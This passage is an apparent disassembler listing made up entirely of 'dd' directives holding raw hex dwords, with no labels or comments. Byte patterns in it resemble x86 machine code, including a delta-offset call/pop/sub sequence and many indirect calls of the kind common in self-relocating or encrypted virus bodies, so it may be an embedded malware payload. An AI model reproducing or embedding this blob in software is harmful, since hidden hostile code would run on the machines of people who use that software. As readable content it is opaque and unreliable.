		dd 0CB3DE63Dh, 1E9319E4h, 9DC53617h, 0AC75FBC9h, 0BB5CC65Eh
		dd 0B4120CDBh, 0A59D7316h, 80EA4043h, 0CE790803h, 0DC25C5Dh
		dd 9C9FED70h, 8B8EECE6h, 777ADED5h, 6467C9C1h, 7A4929A2h
		dd 0EF882082h, 0D1DC5030h, 3536A752h, 0D469FBC4h, 30C83226h
		dd 51BBAF85h, 3CA2984Eh, 27BC3AA4h, 0CE473D24h,	0FBC9355Dh
		dd 5EF64475h, 0F4AA1BC6h, 1B7002C2h, 1A14CACDh,	3635Ch
		dd 847412AAh, 0D8292C8Ah, 2876C67Eh, 835232E9h,	9D8D2B89h
		dd 8C4245A3h, 0D62D3096h, 6E683717h, 0F9CF7210h, 469C9F01h
		dd 0AC0A04DCh, 804A9h, 5CB20000h, 0C32D8D86h, 1C0F3571h
		dd 0FDF7ADB0h, 0EDE69C9Fh, 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h
		dd 9E944A4Dh, 877F3538h, 786C2225h, 684D0B0Eh, 2557h, 68243489h
		dd 3A76h, 51240C89h, 0C181E189h, 4, 4E981h, 0C870000h
		dd 14895C24h, 4EC8324h,	0BD242C89h, 2B417774h, 5A7F87B9h
		dd 5DE92931h, 24148B54h, 5304C483h, 8BBh, 51D30100h, 8B5B038Fh
		dd 89522414h, 4C281E2h,	83000000h, 148704C2h, 34FF5C24h
		dd 0C4815924h, 4, 0F96330E9h, 0E6BF9EFFh, 1C61B846h, 0C5030619h
		dd 0D1F2E0FFh, 1CD37722h, 9F4D019Bh, 41413FF6h,	3A662377h
		dd 0D9720646h, 34C63D7h, 9E0300E6h, 355746BCh, 528C4C68h
		dd 0C49924D7h, 0D5B13EB3h, 0C16D6CC1h, 335355F7h, 5301030Dh
		dd 970B78F0h, 0F3897200h, 1C2861C1h, 43F20B2Bh,	32FD6330h
		dd 0FEEE0F8Ah, 4A094AA8h, 8F3B771Bh, 85C66C12h,	6122871h
		dd 30DF6856h, 0B5FFA9C5h, 61230E9h, 7F35858Dh, 0D0FF0615h
		dd 0A118D8Dh, 6A510612h, 0C9B5FF40h, 0FF061203h, 122921B5h
		dd 0FFD0FF06h, 1203C9B5h, 21B5FF06h, 0E8061229h, 0Dh, 1D35A147h
		dd 5A6D0E90h, 0C927042Ah, 83595904h, 2CC104E9h,	24C10224h
		dd 0C030224h, 241CF724h, 148BDB2Bh, 81F28119h, 815D8C5Bh
		dd 0EEE1FDEAh, 0BBC28177h, 8930EAABh, 0EB831914h, 241C3B04h
		dd 0FFDC850Fh, 9D8DFFFFh, 6122AA1h, 0C00B038Bh,	7840Fh
		dd 38B0000h, 89045B8Bh,	0E9C98B18h, 15Fh, 60D48B52h, 0E8h
		dd 0ED815D00h, 6191DE7h, 3D08428Bh, 78263845h, 138850Fh
		dd 428B0000h, 184A8B0Ch, 0C3BBC8D3h, 3350B8B2h,	4E883C3h
		dd 9A18589h, 588B0612h,	8BF88B04h, 4A8B1042h, 0BEC8D318h
		dd 0E2B46989h, 0C72BC633h, 83FCE083h, 858904E8h, 6120505h
		dd 8914428Bh, 121BD985h, 18428B06h, 0B0E953h, 0B5FF0000h
		dd 6122BF1h, 0B9E9h, 2DB5FF00h,	0E906121Dh, 0AEh, 1B85B5FFh
		dd 0A3E90612h, 0FF000000h, 121FC9B5h, 98E906h, 0B5FF0000h
		dd 6120CD1h, 8DE9h, 0B9B5FF00h,	0E906122Dh, 82h, 2D69B5FFh
		dd 77E90612h, 0FF000000h, 123119B5h, 6CE906h, 0B5FF0000h
		dd 6122A69h, 61E9h, 49B5FF00h, 0E906122Ah, 56h,	2C81B5FFh
		dd 4BE90612h, 0FF000000h, 122381B5h, 40E906h, 0B5FF0000h
		dd 612268Dh, 35E9h, 0DB5FF00h, 0E9061205h, 2Ah,	6ADB5FFh
		dd 1FE90612h, 0FF000000h, 1213DDB5h, 14E906h, 0D88B0000h
		dd 0BB8h, 0E3F76600h, 1E488D8Dh, 0C8030619h, 95FFE1FFh
		dd 6121B31h, 0A1858B5Bh, 39061209h, 850F0458h, 0Fh, 0FF016A53h
		dd 1219CD95h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah,	0D4C96AB8h
		dd 8BE0FF77h, 12237185h, 368D8D06h, 8906191Fh, 0C38B0141h
		dd 13E8h, 4F7EFF00h, 0CFEB56D2h, 38E895B7h, 7F2047F1h
		dd 4D3DB53h, 56575BF9h,	5E595E50h, 5D1BC381h, 11E90000h
		dd 29000000h, 7D92055Eh, 4EE7E3Ch, 584FE41Bh, 55173A7Dh
		dd 3C8BD22Bh, 0EE913h, 805B0000h, 0CE710366h, 6A609B8Ah
		dd 113B6469h, 9993F781h, 1DB4193Fh, 5E4CEF81h, 870F3F15h
		dd 3, 815CEC80h, 0C6CF52F7h, 8157F522h,	7E2A30D1h, 13048F33h
		dd 0DE9h, 0B643CE00h, 767591BDh, 3F88BF60h, 800F9012h
		dd 18h,	10E8h, 8C7DA200h, 0D39A04BFh, 0F16C7455h, 9A0E27F3h
		dd 59CE8AA5h, 0A493EA81h, 0E5800CF4h, 8FC281C4h, 0F0CF4A4h
		dd 0FA81C8B7h, 0FFFFA3A8h, 0FF74850Fh, 0CE8BFFFFh, 28E9h
		dd 83D8F900h, 4Ah, 8 dup(0)
		dd 518E900h, 53680000h,	0E9061921h, 0FFF95FA9h,	1921C668h
		dd 5F9FE906h, 6368FFF9h, 0E9061923h, 0FFF95F95h, 7C1A8679h
		dd 902E988Ch, 0A846A8A0h, 0BE5CC2B8h, 0D371D9CEh, 0A4990B66h
		dd 0B7AE9E3Ch, 0CCC5B553h, 0E4DECE6Ch, 88E9E886h, 227EF17h
		dd 99EBFE76h, 0AFB21A0Fh, 3A1FFF9h, 3E66D760h, 4D6FE907h
		dd 151895FFh, 0E85AE38Eh, 2018C3CDh, 0F2E2ABEh,	566D943h
		dd 8469FBAEh, 0B6E23336h, 0EE75FBB6h, 0A613515h, 51DE302Ah
		dd 331h, 62D35CF7h, 6FE9073Ah, 4F89F341h, 0E1606BE0h, 36B6036h
		dd 9D0E99h, 1169FB2Fh, 1E8F18C3h, 75FB2FF6h, 0B0AF170Ch
		dd 0CB1EF862h, 989E8926h, 14BF4249h, 7253C6A3h,	8689D765h
		dd 4941202Bh, 922A9287h, 4B41398Fh, 31A24DE5h, 67608AB0h
		dd 72E50F59h, 0B6022A9Bh, 0BB096B60h, 9886F827h, 6048FF27h
		dd 28C00E6Bh, 150FE590h, 2F2919B7h, 8DF4DFD1h, 5E417DD3h
		dd 341B9h, 36F6200h, 17817565h,	2F918979h, 45ABA191h, 5AC2B7A7h
		dd 82F04FBCh, 9787258Dh, 0AE9E3CA0h, 0C7B755B5h, 0D2D16FCDh
		dd 28D80071h, 0D4E77602h, 0E0636A82h, 2779C435h, 0A61869F0h
		dd 38D31CAAh, 22016B11h, 5E5329D4h, 736858F6h, 5D56B2ABh
		dd 37B60C0Ah, 2B9C47DFh, 7602E903h, 2124BC0Ah, 30DBB1D0h
		dd 0B696396h, 64B3A819h, 0E98E717Fh, 2CEh, 0D876E2D5h
		dd 0EC8AF4E8h, 4A204FCh, 1AB81E14h, 2FCD352Ah, 0F567C2h
		dd 130AFA98h, 282111AFh, 403A2AC8h, 0E44544E2h,	2284B73h
		dd 0ED3F5276h, 3A62D35Ch, 416FE907h, 10C89F3h, 1B66D782h
		dd 6A69F027h, 0DAB0191Ch, 267C7FE3h, 0E2C8AB92h, 60CAD19Fh
		dd 213C1EDh, 7EDED776h,	6BCDC57Bh, 668EFF68h, 75760213h
		dd 0E8C88127h, 0EACAA379h, 368ABF16h, 1C706DEh,	5CAC0000h
		dd 73A62D3h, 53486FE9h,	349EECEBh, 104625Ch, 55F3514Bh
		dd 8B36CDC0h, 0FB1E5D1Ah, 1B1E6C69h, 0FB229ECAh, 1DFDD675h
		dd 2F99F249h, 1911E7DEh, 64FC6057h, 68A10B61h, 48h, 9FEA5C0Eh
		dd 0D46CEBFh, 10C89F3h,	6566D782h, 0A469FBE2h, 0B122AB56h
		dd 75FBCD89h, 0F5D84290h, 97A038Ch, 75FBCDE1h, 0DF079AE8h
		dd 0F575FBCDh, 4B999800h, 0CD426EE1h, 0A17A75FBh, 4096EDC1h
		dd 0E8DDDE30h, 83000000h, 0CB7150Fh, 44D84236h,	1351C08h
		dd 0E9CC3687h, 0D3D63E33h, 389E946Ah, 9D75DF35h, 8C4245A3h
		dd 76E0D492h, 0B7B540DEh, 0AA6FE95Ch, 6588B021h, 49976FE9h
		dd 0AF0D07DFh, 0C0372E04h, 0E965274Fh, 50E8366Fh, 0F8DF74Dh
		dd 4A72E36Ch, 516FE965h, 111C9903h, 1B11E792h, 0F25CB2B5h
		dd 0C56F667h, 67B569FEh, 76F1E6BCh, 0FDFCDD05h,	0F39EEC75h
		dd 0FDFC5A82h, 7B136175h, 28B13ADDh, 0FDFC8FB7h, 0BD509E75h
		dd 75FDFC95h, 4E4DB7ABh, 0C9BE9600h, 0DB486F61h, 0DABD7335h
		dd 13135h, 137F7200h, 27918575h, 3FA19989h, 55BBB1A1h
		dd 6AD2C7B7h, 92005FCCh, 0A797359Dh, 0BEAE4CB0h, 0D7C765C5h
		dd 0E2E17FDDh, 2AE81081h, 0E4F77602h, 0B21A0F92h, 0CC2A2414h
		dd 91028B2Eh, 6FE90769h, 0AB902670h, 0FF6854C9h, 0FC1FD67h
		dd 0FEB4B715h, 6508A604h, 886ED3F3h, 69FD5F44h,	284AF811h
		dd 76F35D82h, 0D041EC77h, 69FBAAF7h, 4CAAA47Ah,	0AA89F349h
		dd 0E6DBB15Ch, 5061D37Eh, 49ABA3AFh, 612F96B5h,	7710967h
		dd 0F9D2FE89h, 0EEE875FBh, 0D02F290h, 0C739A2A5h, 438CC4DFh
		dd 0C58CF6EAh, 8Eh, 38EA5C73h, 0B5130DF7h, 8538D221h, 18AF9E1Bh
		dd 776C0799h, 19D17B0Fh, 0D647F28Ah, 69F06497h,	0FC6568B6h
		dd 24DA0273h, 0C4357602h, 7602249Ch, 85655A3h, 6ECCC69Eh
		dd 0A1C93AC3h, 0AF760224h, 85655B7h, 3630209Eh,	0AD95F0DCh
		dd 42DA05ADh, 0D4B2EE3Fh, 0F1E8298Dh, 0BF05C91h, 0EF877FDCh
		dd 0DB3F36ECh, 0DBBB74D8h, 3616CD6Ch, 710F6D67h, 26298781h
		dd 11147A70h, 4C1BFBBAh, 6656F452h, 52B8AE6Ch, 312B7BAh
		dd 0C0000000h, 1C0F5995h, 0FDF7ADB0h, 0EDE69C9Fh, 0DDD48A8Dh
		dd 0CBC07679h, 0B5AA6063h, 9E944A4Dh, 877F3538h, 786C2225h
		dd 524D0B0Eh, 0BF57E289h, 4F940F49h, 55B5EF81h,	0EF811622h
		dd 3971B990h, 835FFA01h, 148704EAh, 21685C24h, 8900005Fh
		dd 0E568241Ch, 89000007h, 4BB242Ch, 431B726Bh, 370DBE56h
		dd 0D6F75628h, 0DEF7EED1h, 3DB7CE81h, 0C6816F3Eh, 7061087Ch
		dd 59D4F681h, 0F321286Ah, 16EB815Eh, 813D973Dh,	0C1E385F3h
		dd 2C8B54D3h, 4C48324h,	8904EC83h, 8B82404h, 1000000h
		dd 581889E8h, 5D2434FFh, 4C481h, 1C8B0000h, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 0F95AA8E9h, 280DD3FFh
		dd 38723A16h, 909DCABBh, 0B9B8A38Eh, 3061924h, 4DE0FFC5h
		dd 286BEE4Ch, 5668F528h, 0A17FFAE7h, 0B63307DAh, 931A2CCAh
		dd 5943DA08h, 0D520A04Bh, 8354C871h, 5F7BF11Bh,	0AB6EF1BDh
		dd 0D925A95Dh, 6F084B83h, 84A364Bh, 3C44D52Eh, 0DB34A76Dh
		dd 4A186FB6h, 6F054CA0h, 7328B4B8h, 0F722EF55h,	3E388945h
		dd 9F047180h, 0D53AEBACh, 2979B663h, 256FB1B1h,	0FF446831h
		dd 9F1AE277h, 0AC745E49h, 550ADF1Ah, 0F77B6FE8h, 801BCEEFh
		dd 8D1E2E3Eh, 1926B58Dh, 91B58B06h, 8906122Fh, 1209A18Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0BBD72ADFh, 0B19D018Bh, 0C7061228h, 12050585h
		dd 6A1806h, 85C7F800h, 6121BD9h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0FDC35747h
		dd 56E3F4B9h, 0DA19897Ah, 0DDB5FF6Dh, 6A061213h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 3F43C351h, 0CAABDA27h, 0E5CB4FEDh, 1B3195FFh, 6A0612h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 8B663FC3h, 0FDEE80F8h, 95FF006Ah, 61219CDh, 18EBC08Bh
		dd 10DC31B9h, 26883064h, 0C73288BCh, 345203D9h,	0AD830398h
		dd 2578BB96h, 8E8h, 30EB0100h, 0EF95BCE9h, 0F1958905h
		dd 5906121Fh, 0A810Fh, 66600000h, 45D4DF81h, 61CAF580h
		dd 6CCDC181h, 0BA660000h, 0C02B5654h, 1B65BD89h, 34FF0612h
		dd 58E0F08h, 0BA000000h, 36A48D35h, 5E85Bh, 20FF0000h
		dd 0F114E87h, 281h, 5AF08B00h, 1DC0C381h, 85891055h, 6122359h
		dd 3148C381h, 8F0F027Bh, 6, 9559D89h, 0EB810612h, 64582F3Eh
		dd 5510BE66h, 0D18B6653h, 0E901048Fh, 0Ch, 94D76D4Dh, 0FE7CE4EAh
		dd 43BA0BFCh, 8B03E883h, 0F88148F3h, 0FFFF93D8h, 0FF8C850Fh
		dd 0BA66FFFFh, 10E97ACCh, 0E4000000h, 621EF8h, 2 dup(0)
		dd 0E9000000h, 509h, 0AC4AB6A9h, 0C05EC8BCh, 0D876D8D0h
		dd 0EE8CF2E8h, 3A109FEh, 0D4C93B96h, 0E7DECE6Ch, 0FCF5E583h
		dd 140EFE9Ch, 0B81918B6h, 22E1F47h, 0C91B2E76h,	6357150Fh
		dd 0A85E61F9h, 0BDAD4BB3h, 0F96265C3h, 3EA49A70h, 2A52E53Bh
		dd 386FE907h, 90DEDD41h, 0F6544E26h, 0DF493DF3h, 0E8C87FDCh
		dd 23C11F19h, 3CDA3A33h, 48F3534Ch, 11147E72h, 0B86E51BBh
		dd 35A5DC1h, 9C956444h,	0F1A58440h, 5BF37540h, 75D3CDBDh
		dd 39330972h, 0D1FE71DBh, 806FE9B2h, 0AD1309DFh, 0EEC2A243h
		dd 0D81E2597h, 58DEh, 35C33500h, 0B8B66AEEh, 0F4581EBh
		dd 63B4B715h, 6FE90739h, 794D2DE4h, 0D81D7B22h,	169h, 1B0F0F00h
		dd 3C3006B1h, 7264EBFh,	0E7356FE9h, 9902E54Fh, 7779F10h
		dd 38866FE9h, 9802F6CEh, 5C2017EDh, 0FC66FE68h,	76D6319h
		dd 10F0A704h, 45E34D41h, 5FFD5B55h, 0B21A0F0Bh,	9B05F9AFh
		dd 0E3C37C98h, 0CB71F14h, 0D7DA4036h, 0A9991781h, 34A651AFh
		dd 3B777FC2h, 1F026C6Ah, 0C0F7169h, 0EBBF9F78h,	0D81E2FA4h
		dd 7ECBh, 1A0F7100h, 0D446AFB2h, 49BB668Eh, 0C0980215h
		dd 0E5BB66C8h, 3D208AEEh, 2C2F8D87h, 0BEB88276h, 6F075D60h
		dd 0B797506Ch, 12F2A948h, 48E64E43h, 0F8FB6358h, 0E3E64C42h
		dd 0C296764Fh, 0D81E4F7Bh, 22807A50h, 265FC91Fh, 56h, 0B21A0FCCh
		dd 0D83C3107h, 58613124h, 9730BC4h, 17777026h, 1695E14h
		dd 0EC5248FEh, 3414CDE9h, 0A67C1FC5h, 3DDE48B2h, 0F05DB5Dh
		dd 72673FA9h, 5C186C0Ah, 2B2E8C86h, 9F936BD5h, 0B4E13235h
		dd 656FE907h, 0A3FACEAEh, 98D81D7Ah, 6AC8C2h, 1C7h, 170F6D00h
		dd 6ED8CCA2h, 0E907B3DBh, 0EA70BA6Fh, 0B2F99FDFh, 241A12AAh
		dd 97B26BEh, 0E5A423F3h, 432690CFh, 0AA0C04DAh,	106E6840h
		dd 17F7B60Dh, 43EE5048h, 212149BAh, 0DA286FE9h,	6E5DF270h
		dd 169F28D3h, 0E9217DA5h, 0D43E8C6Fh, 0FB460861h, 0C0C31169h
		dd 14B2100Ah, 0C9CC2A24h, 0FB3E4E78h, 860FB275h, 0FB3EED15h
		dd 0AA0A0375h, 85251A7h, 0A20A7953h, 0A337CFD0h, 0C07944C2h
		dd 6809733Eh, 61BFB988h, 7BD9D3C3h, 0A002FAD0h,	14EA5336h
		dd 62B8BB1Bh, 0CC2620F8h, 0FC872CD2h, 0C0FA70Ah, 885737F0h
		dd 9D92308Eh, 0DE306946h, 12B8Dh, 636A3300h, 7BC435E0h
		dd 0C269FB34h, 0C1BB7174h, 0DBD5C563h, 94214F81h, 0E2383B9Bh
		dd 97B5E24Eh, 4C46FCFFh, 3F35EBEEh, 0FC6DD6D9h,	75FB78D4h
		dd 9E958DDBh, 1AD3373Ah, 0B46DCB3Ah, 867C52D4h,	0E4DEB620h
		dd 34CC2E26h, 0EC4AA196h, 4D91DE2Fh, 37000000h,	31DC6F6Ah
		dd 16F9B8C0h, 36398710h, 0E906BDE5h, 6E4EC7EFh,	0C16CFFFAh
		dd 69FC738h, 0C319EFE9h, 54F87473h, 0EA54A2A1h,	87E6EE5Fh
		dd 17899016h, 0B77D88CEh, 9B7AE463h, 0DCECAB51h, 665B218Ah
		dd 0DA5FBFEh, 8DF8D775h, 0A6000000h, 87E4636Ah,	0F225B681h
		dd 0FE96F8F0h, 0AAAD0D06h, 0A011BC54h, 69FB438Bh, 93494C9Ah
		dd 7DE7DB99h, 5D5747E5h, 0BD93FCFFh, 83F660C8h,	75FB3B64h
		dd 5154BAB0h, 3C4F77E8h, 105E75FBh, 0BABD2118h,	0DA61004h
		dd 59FF6E4Eh, 0F7F1C0A0h, 6766FB99h, 655B31DCh,	990A95FFh
		dd 700256F0h, 3FA8ABF9h, 191D45B6h, 3E336FF4h, 7E7DD3D6h
		dd 0F4EEC630h, 7D3C9396h, 9F22299Dh, 33DA83F4h,	95E369FBh
		dd 5ACB54F7h, 75FB3C32h, 4581EB39h, 35E0636Ah, 0B9553AACh
		dd 0AE42ACA0h, 3FA9EFFCh, 0F05C23CCh, 84F57E69h, 7602245Ch
		dd 241E46B7h, 0DF2D7602h, 492892E0h, 0C9A892FFh, 1FB74C8Ch
		dd 41A99E74h, 9B7EE83Eh, 0EF8DEBE5h, 0A4A705FFh, 87C5F53h
		dd 9BFDF512h, 86ECE298h, 8D6D2C83h, 0E8C87F1Eh,	16C11F19h
		dd 0E0E34B40h, 0B2A2208Ah, 0A1575AB8h, 0EB4245ABh, 58CA4C2Ch
		dd 103F3A0Ah, 544B4365h, 0B4AE86F0h, 9A9DFDF6h,	1E0EAC44h
		dd 1EC3C624h, 3, 0F5995CCh, 0F7ADB01Ch,	0E69C9FFDh, 0D48A8DEDh
		dd 0C07679DDh, 0AA6063CBh, 944A4DB5h, 7F35389Eh, 6C222587h
		dd 4D0B0E78h, 452268h, 240C8900h, 0C181E189h, 4, 8704E983h
		dd 685C240Ch, 7958h, 68240489h,	56B6h, 51241489h, 455E168h
		dd 7BB85908h, 310E1D72h, 8B5459C8h, 0C4812414h,	4, 24048150h
		dd 3F640AC1h, 5108428Fh, 8118D9B9h, 2CC98136h, 8137F320h
		dd 94173AC1h, 8FC18179h, 814E4B7Bh, 1920A6F1h, 4DC9815Ch
		dd 812C0772h, 6BF0ACE9h, 84A2970h, 24148B59h, 81E38953h
		dd 4C3h, 4C38300h, 5C241C87h, 5024048Bh, 405E089h, 83000000h
		dd 48704C0h, 6AE95C24h,	24FFF953h, 3BF74600h, 0B68F13BAh
		dd 46AA7FE1h, 2BF2B859h, 0C5030619h, 0CBB9E0FFh, 56924023h
		dd 26894000h, 0D5E1616Eh, 7448544Ch, 18090FE7h,	398D63A0h
		dd 67A72E32h, 27E97B03h, 9DC92E10h, 7286439Eh, 4E450CE0h
		dd 7A927755h, 12BD3234h, 5554690h, 263E2A9Bh, 0DEED6A51h
		dd 9B7B28FCh, 0CA007E04h, 4E771F49h, 0CAF45115h, 491402Fh
		dd 226E4F0Ah, 4C7776Ah,	0AB85139Dh, 0AA22617h, 0A8775F48h
		dd 98A62765h, 0CCA738AEh, 36F8546Bh, 2232E35h, 0AD6F1124h
		dd 0CE823A5h, 97000000h, 0C5C72EB9h, 0CB6EAD0Bh, 5BB90DCAh
		dd 7677C981h, 0C3817D9Dh, 60B6h, 4830Fh, 0B0600000h, 0F62B6127h
		dd 0E880Fh, 0F600000h, 8Ah, 0F2E88100h,	6115C7FFh, 0E81E34FFh
		dd 14h,	8CDC143h, 11E5416Ah, 3D263B83h,	0A4411B4Fh, 0B556D4EAh
		dd 6880Fh, 8C0F0000h, 0
		dd 60565F59h, 13E9h, 96319300h,	9311D537h, 1C2EACE2h, 9A23B5CDh
		dd 37A17998h, 61D68B66h, 0D8EF8158h, 813FF703h,	0E98169EAh
		dd 0BDF78118h, 6650C27Ch, 976AC081h, 353C781h, 0B9667466h
		dd 8A57C49Bh, 33048FD4h, 0D2816651h, 0E95ABCC8h, 0Ah, 9A8EA95Dh
		dd 33AF6225h, 0EE833DDEh, 4870F04h, 66000000h, 815D78B8h
		dd 0FFA070FEh, 38850FFFh, 0E8000000h, 5, 0DB26B1F0h, 12E924h
		dd 0AB6E0000h, 0C9D30E9Eh, 0A8F896D8h, 0B8315DADh, 8D51ECA2h
		dd 2BE95Ah, 0BA870000h,	415C5A07h, 75028567h, 5D98BE19h
		dd 66F0D00Eh, 21E9D18Bh, 0BCFFFFFFh, 0F470AFA9h, 822D09A8h
		dd 66C935Bh, 0AF66549Ch, 12E8B7h, 4C80000h, 20A38DCDh
		dd 0BD69F57Bh, 8809DFAh, 53E9C147h, 0DE95EF9h, 0DC000000h
		dd 0FBDFF5B9h, 240F08D8h, 0A8A3D579h, 5A9AC681h, 8C0F0000h
		dd 2, 6810B0h, 81000000h, 9E4B1CC9h, 8E95F61h, 0B0000000h
		dd 0B7D08BD3h, 8B3FE22Ch, 830F3E14h, 9,	3840Fh,	0BF0F0000h
		dd 0C8F281DFh, 534A4F8Eh, 8E9h,	0A5E89800h, 0C090EF3Ah
		dd 0EA8159ACh, 30F557C6h, 7E9h,	0C4C7F700h, 971EF0B7h
		dd 75BEC281h, 0B7B058C3h, 663E1489h, 0C381C88Bh, 7E49B981h
		dd 4DADEF81h, 0D0815B26h, 709D2E5Fh, 4DA9C781h,	0B3B95B26h
		dd 810EE75Ah, 0FFA648FFh, 15850FFFh, 0BB000000h, 76F0EF83h
		dd 1FE9h, 28FE1000h, 37F18811h,	3C8C0C46h, 0AAF774B9h
		dd 0FF71E931h, 5DBAFFFFh, 794C30E8h, 6EF24B6Dh,	8E8h, 904B9B00h
		dd 0D9A21FECh, 0ADBF66D0h, 0C3815B8Fh, 66AAh, 0F6337AB5h
		dd 10E9h, 84593000h, 0EFD5DDBEh, 20D8A3C5h, 0EB73A366h
		dd 33048B8Ah, 912FBF66h, 4DFCE881h, 8B661C06h, 8DC081D0h
		dd 0B60F1B20h, 7CF08114h, 661576BCh, 2E1FE181h,	50330489h
		dd 14E8h, 380D6300h, 15D4BF5Ch,	0A52955A6h, 3D5D921h, 0E901416Eh
		dd 5F595393h, 0FE95Ah, 491E0000h, 0CEA5746Ch, 5B010336h
		dd 0F340BF68h, 1EE8344h, 0CE8h,	0AA9EAF00h, 79D9FD7Fh
		dd 0B3F3730h, 0D3B70F3Fh, 4E4E4E59h, 81E7C280h,	0FF9A24FEh
		dd 12850FFFh, 66000000h, 1CE9D78Bh, 62000000h, 9D04981Fh
		dd 0FD9CE5BAh, 3258BFE8h, 62E94A8Ah, 0BAFFFFFFh, 9F55242Bh
		dd 8BE659A2h, 91BD83C0h, 6121Bh, 0BD830975h, 61217DDh
		dd 50197400h, 0B8C08B53h, 421h,	858589h, 9D8D0612h, 614AE0Fh
		dd 585BD3FFh, 17DDBD83h, 74000612h, 0B8535017h,	421h, 858589h
		dd 9D8D0612h, 614AAFEh,	585BD3FFh, 9D8BC08Bh, 6120895h
		dd 287185C6h, 68560612h, 9CA8B852h, 30E9B5FFh, 858D0612h
		dd 6157F35h, 46AD0FFh, 100068h,	89B5FF00h, 6A061223h, 85D0FF00h
		dd 0D850FC0h, 0B8000000h, 0
		dd 72778D8Dh, 0E1FF0612h, 0C38BC88Bh, 53C4003h,	0F8h, 30C508Bh
		dd 0A1BD83D3h, 6122Ah, 0E840Fh,	9D8B0000h, 6122AA1h, 1949858Bh
		dd 3890612h, 858D5251h,	6127B68h, 0FA8BD0FFh, 0D18BF18Bh
		dd 0A4F3C88Bh, 287185C6h, 68560612h, 0D41F6D39h, 30E9B5FFh
		dd 858D0612h, 6157F35h,	68D0FFh, 6A000080h, 0D0FF5200h
		dd 0BD83C08Bh, 6121B91h, 83097500h, 1217DDBDh, 19740006h
		dd 0C08B5350h, 421B8h, 95858900h, 8D061222h, 14AE769Dh
		dd 5BD3FF06h, 0DDBD8358h, 61217h, 53501774h, 421B8h, 95858900h
		dd 8D061222h, 14AB179Dh, 5BD3FF06h, 8DC08B58h, 122AA19Dh
		dd 0B038B06h, 7840FC0h,	8B000000h, 45B8B03h, 41B81889h
		dd 0E800004Bh, 7, 0CDB45C3Fh, 57EEF6BDh, 0D081595Ah, 7BF6E08Eh
		dd 0E893C181h, 0B8660000h, 96BFEF30h, 815342DCh, 0BD5D57C7h
		dd 0DBBA66ACh, 51198BF3h, 8CEB8158h, 0F7ABC02h,	1689h
		dd 11E900h, 372D0000h, 2B665812h, 32094700h, 59F66EDEh
		dd 813C6992h, 0C3D489C3h, 0D78B6643h, 1F2BEB81h, 10E80A73h
		dd 74000000h, 0E16E639Ah, 0D61DCB07h, 9F3F2B13h, 0E9DF3CECh
		dd 0Dh,	3FD59EBh, 8B0C7316h, 46E524FBh,	605358C2h, 81DBB70Fh
		dd 217E3BEEh, 18F616Dh,	3EBA37BEh, 4E98372h, 0BA7A4BB8h
		dd 1EF813Ch, 0F000000h,	1B85h, 0DE816600h, 2CE9A26Eh, 38000000h
		dd 0FBE44775h, 53B45A6Fh, 2417C33Eh, 0B93D0081h, 0E9D2B70Fh
		dd 0FFFFFF59h, 204B0B7Bh, 0ECCC0393h, 73609ADBh, 14B8E316h
		dd 8DEE097Bh, 1208F19Dh, 1434B806h, 85890000h, 612143Dh
		dd 0E8h, 0D055800h, 89000000h, 1434E903h, 50Dh dup(0)
		dd 8D8D0000h, 619475Bh,	0B70FDF8Bh, 0A18D89D8h,	6A061209h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 8BB8C351h, 585C7C7h, 10061205h, 0E900005Fh
		dd 0Dh,	8E2FBEC6h, 113DE840h, 79C1B7CBh, 0D985C708h, 6121Bh
		dd 8B000000h, 121D9DBDh, 0F1B5FF06h, 6A06122Bh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 2F1FC350h, 35496959h, 0A848BA66h, 95FFC38Bh,	6121B31h
		dd 1819BD33h, 6A0612h, 19CD95FFh, 0C08B0612h, 6D525FEBh
		dd 0DF537B6h, 0F55B4CAAh, 12CE8949h, 0FF359C9h,	8BE8959h
		dd 8B5B1AA5h, 0B872BA38h, 42B1546Dh, 0C5F064D0h, 0CE0C480Eh
		dd 292A317Fh, 0EBDEF90Ch, 912C5C17h, 0AAE3E856h, 1D5429C2h
		dd 5805BC79h, 40E11133h, 0E482EC45h, 6038C194h,	8D8B4E21h
		dd 0D30B83A1h, 8AB30DF4h, 400E4DCEh, 45CAFE68h,	3AA80A11h
		dd 808A4E99h, 0ABA80A11h, 5875EAD5h, 20A80A16h,	0BA8A4E9Eh
		dd 9D57AE5Dh, 488A4E9Eh, 0ABA80A17h, 1375EAD5h,	0C3A80A17h
		dd 9D8A4E9Fh, 4DA80A17h, 178A4E9Ch, 0ABA80A14h,	2575EAD5h
		dd 1C42D42Fh, 0C0031333h, 52B11663h, 0CD290A7h,	0D12157BBh
		dd 439352EFh, 1D07D42Fh, 0C0031333h, 52B1166Bh,	0F8D90A7h
		dd 0D12157BBh, 439352FBh, 1EF6D42Fh, 0C0031333h, 52B11677h
		dd 0F3990A7h, 0D12157BBh, 439352F7h, 1E5FD42Fh,	0C0031333h
		dd 52B11643h, 0ECA90A7h, 0D12157BBh, 439352C3h,	1F29D42Fh
		dd 0C0031333h, 52B1164Fh, 0E4890A7h, 0D12157BBh, 439352DBh
		dd 18ABD42Fh, 0C0031333h, 52B11657h, 9B690A7h, 0D12157BBh
		dd 439352D3h, 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh, 458AFD4Ah
		dd 0D5F251A2h, 5CC2B1C0h, 0A8ED96A4h, 458A152Ah, 67A02429h
		dd 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah, 0BA415564h, 0CE75EAD5h
		dd 0ED3AAE63h, 848C0723h, 11AB5342h, 55FFEA22h,	0ABA4245Dh
		dd 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh
		dd 292359D7h, 0B9CFD226h, 54A851A2h, 4162AD6Ch,	660351A2h
		dd 0EE27BFEAh, 161DB2Fh, 94751333h, 0D9020112h,	5CDFDCA0h
		dd 0EC79AEA4h, 41AE51A1h, 9D22DC09h, 0BA8C0C7Fh, 0DF103773h
